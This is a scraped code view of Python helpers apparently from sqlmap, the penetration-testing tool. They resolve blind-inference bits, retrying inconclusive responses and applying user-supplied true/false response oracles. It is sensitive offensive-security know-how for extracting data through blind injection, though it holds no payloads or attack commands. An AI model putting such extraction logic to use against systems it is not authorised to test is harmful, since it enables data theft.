def resolveBit(page, trueModel, falseModel, resend, retries=2, margin=EXTRACT_MATCH_MARGIN, abort=True):
|
||||
"""Resolve one blind bit to True/False. On an INCONCLUSIVE first read, RE-SEND (fresh, cache-
|
||||
bypassing) up to `retries` times to ride out transient jitter before deciding. `resend` is a
|
||||
0-arg callable returning a fresh page (or None on error/block). If a bit stays INCONCLUSIVE after
|
||||
the retries: raise InconclusiveError when `abort` (the caller aborts the CURRENT VALUE rather than
|
||||
corrupt it), else return False."""
|
||||
d = decide(page, trueModel, falseModel, margin)
|
||||
tries = 0
|
||||
while d is Decision.INCONCLUSIVE and tries < retries:
|
||||
page = resend()
|
||||
if page is None:
|
||||
break
|
||||
d = decide(page, trueModel, falseModel, margin)
|
||||
tries += 1
|
||||
if d is Decision.INCONCLUSIVE and abort:
|
||||
raise InconclusiveError()
|
||||
return d is Decision.TRUE
|
||||
|
||||
|
||||
def leansTrue(page, trueModel, falseModel, margin=EXTRACT_MATCH_MARGIN):
|
||||
"""Boolean shorthand for `decide(...) is Decision.TRUE` (kept for callers that don't retry).
|
||||
A page indistinguishable from the FALSE model, or ambiguous, is NOT true - so a dynamic token, a
|
||||
changed error page, a WAF/rate-limit body or a transient exception can never fabricate a bit."""
|
||||
return decide(page, trueModel, falseModel, margin) is Decision.TRUE
|
||||
|
||||
|
||||
def userOracleActive():
|
||||
"""True when the user supplied an explicit true/false response signal (--string / --not-string /
|
||||
--regexp) that the non-SQL techniques should honor instead of relying on raw page similarity."""
|
||||
return bool(getattr(conf, "string", None) or getattr(conf, "notString", None) or getattr(conf, "regexp", None))
|
||||
|
||||
|
||||
def userDecision(page):
|
||||
"""Classify a response with the user's explicit oracle (--string / --not-string / --regexp),
|
||||
returning True/False, or None when no override is set (caller falls back to content comparison).
|
||||
Page-only: HTTP-code overrides (--code) stay per-engine, where the status line is available.
|
||||
|
||||
This routes the non-SQL boolean detectors through sqlmap's documented detection overrides - the
|
||||
same knobs the SQL engine honors - rather than discarding them for a fixed similarity ratio."""
|
||||
page = page or ""
|
||||
if getattr(conf, "string", None):
|
||||
return conf.string in page
|
||||
if getattr(conf, "notString", None):
|
||||
return conf.notString not in page
|
||||
if getattr(conf, "regexp", None):
|
||||
return re.search(conf.regexp, page) is not None
|
||||
return None
|
||||
Loading…
Add table
Add a link
Reference in a new issue